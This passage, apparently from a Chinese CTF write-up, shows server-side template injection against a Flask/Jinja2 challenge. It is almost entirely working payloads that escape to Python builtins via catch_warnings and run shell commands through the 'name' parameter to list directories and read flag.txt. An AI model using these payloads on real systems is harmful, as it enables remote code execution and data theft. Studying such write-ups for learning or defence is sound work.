for c in [].__class__.__base__.__subclasses__(): if c.__name__=='catch_warnings': c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")
=>变成模板注入的payload:
1 2 3 4 5 6 7
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='catch_warnings'%} {{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}} {% endif %} {% endfor %} =>合并到一行 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings'%}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings'%}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
没有发现flag文件的信息
获取网页当前目录信息:
payload:
1
?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings'%}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls ').read()")}}{% endif %}{% endfor %}
发现flag.txt文件
获取flag.txt文件的信息:
payload:
1
?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings'%}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat flag.txt ').read()")}}{% endif %}{% endfor %}